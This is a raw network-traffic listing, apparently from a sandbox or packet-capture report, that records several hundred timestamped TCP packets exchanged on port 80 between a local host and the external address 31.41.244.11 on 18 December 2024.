Dec 18, 2024 09:07:32.154485941 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.154521942 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.155375957 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.155443907 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.155510902 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.155555964 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.156434059 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.156480074 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.156568050 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.156619072 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.157510042 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.157521009 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.157565117 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.158447027 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.158485889 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.158579111 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.158622026 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.159477949 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.159533978 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.159557104 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.159595013 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.160615921 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.160626888 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.160655975 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.160682917 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.161441088 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.161485910 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.161552906 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.161604881 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.162491083 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.162544966 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.162734032 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.162790060 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.163480043 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.163619995 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.163660049 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.164565086 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.164613008 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.164680958 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.164731026 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.165592909 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.165637016 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.165751934 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.165791988 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.166548967 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.166604042 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.166673899 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.166718960 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.167527914 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.167587996 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.167665005 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.167810917 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.168690920 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.168700933 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.168751001 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.169635057 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.169687986 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.170314074 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.170358896 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.170550108 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.170604944 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.170959949 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.171004057 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.171720982 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.171766043 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.171785116 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.171802998 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.172600031 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.172674894 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.172830105 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.172882080 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.173593998 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.173630953 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.173790932 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.173835993 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.174637079 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.174690008 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.174757957 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.174809933 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.175638914 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.175695896 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.175705910 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.175740957 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.176810980 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.176821947 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.176860094 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.177740097 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.177751064 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.177797079 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.179028988 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.179039955 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.179095984 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.179119110 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.318002939 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.318053961 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.318084002 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.318125010 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.318205118 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.318254948 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.318358898 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.318407059 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.318521023 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.318633080 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.319426060 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.319480896 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.319751978 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.320029974 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.320457935 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.320503950 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.320576906 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.320763111 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.321455002 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.321500063 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.321603060 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.321644068 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.322500944 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.322573900 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.322602034 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.322616100 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.323431969 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.323473930 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.323559999 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.323618889 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.324424028 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.324486971 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.324533939 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.324767113 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.325531006 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.325553894 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.325584888 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.325603962 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.326478004 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.326523066 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.326611042 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.326653004 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.327469110 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.327517033 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.327550888 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.327594042 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.328588009 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.328617096 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.328656912 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.329575062 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.329621077 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.329710960 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.330089092 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.330712080 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.330724955 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.330769062 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.331556082 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.331615925 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.331686020 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.331723928 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.332532883 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.332585096 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.332757950 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.332813978 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.333527088 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.333662987 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.333664894 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.333997965 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.334615946 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.334681988 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.334765911 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.334804058 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.335635900 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.335763931 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.335829973 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.335871935 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.336708069 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.336723089 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.336776972 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.337670088 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.337687016 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.337713957 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.337729931 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.338610888 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.338654995 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.338680029 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.338726044 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.339637995 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.339683056 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.339827061 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.339865923 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.340651035 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.340689898 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.340743065 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.340785980 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.341608047 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.341658115 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.341768026 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.341804981 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.342704058 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.342746973 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.342757940 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.342806101 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.343775988 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.343796015 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.343837023 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.344755888 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.344769955 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.344805956 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.344825029 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.345827103 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.345838070 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.345884085 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.347398043 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.347415924 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.347450972 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.347474098 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.347975016 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.347985983 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.348022938 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.349040031 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.349052906 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.349104881 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.352273941 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.352381945 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.353311062 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.353347063 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.353368044 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.353384972 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.353501081 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.353512049 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.353533030 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.353559971 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.353581905 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.354010105 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.354022980 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.354075909 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.355204105 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.355221987 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.355268002 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.355283022 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.356141090 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.356215000 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.356311083 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.356359005 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.357250929 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.357261896 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.357312918 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.358124971 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.358175993 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.358282089 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.358369112 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.359108925 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.359164953 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.359270096 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.359489918 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.360126019 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.360138893 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.360183001 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.361087084 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.361140966 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.361259937 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.361346960 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.362176895 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.362205982 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.362243891 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.363126040 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.363178015 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.363282919 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.363480091 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.364033937 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.364078045 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.364223003 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.364267111 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.365128040 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.365170002 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.365268946 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.365593910 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.366206884 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.366230011 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.366270065 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.367129087 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.367186069 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.367307901 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.367347956 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.368268013 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.368339062 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.368442059 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.368529081 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.369318962 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.369358063 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.369494915 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.369549036 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.370142937 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.370192051 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.370291948 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.370395899 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.371227026 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.371274948 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.371408939 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.371483088 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.509143114 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.509238005 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.509325981 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.509440899 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.509485006 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.509515047 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.509656906 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.510515928 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.510566950 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.510592937 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.510643959 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.511464119 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.511511087 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.511586905 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.511586905 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.512587070 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.512644053 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.512696028 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.513497114 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.513602018 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.513690948 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.514518976 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.514579058 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.514645100 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.514699936 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.515520096 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.515718937 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.515778065 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.516633034 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.516653061 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.516877890 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.517544031 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.517610073 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.517627001 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.517741919 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.518533945 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.518579006 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.518642902 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.518815041 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.519587994 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.519634962 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.519815922 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.519957066 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:32.520648956 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.520716906 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:32.520726919 CET	49720	80	192.168.2.8	31.41.244.11
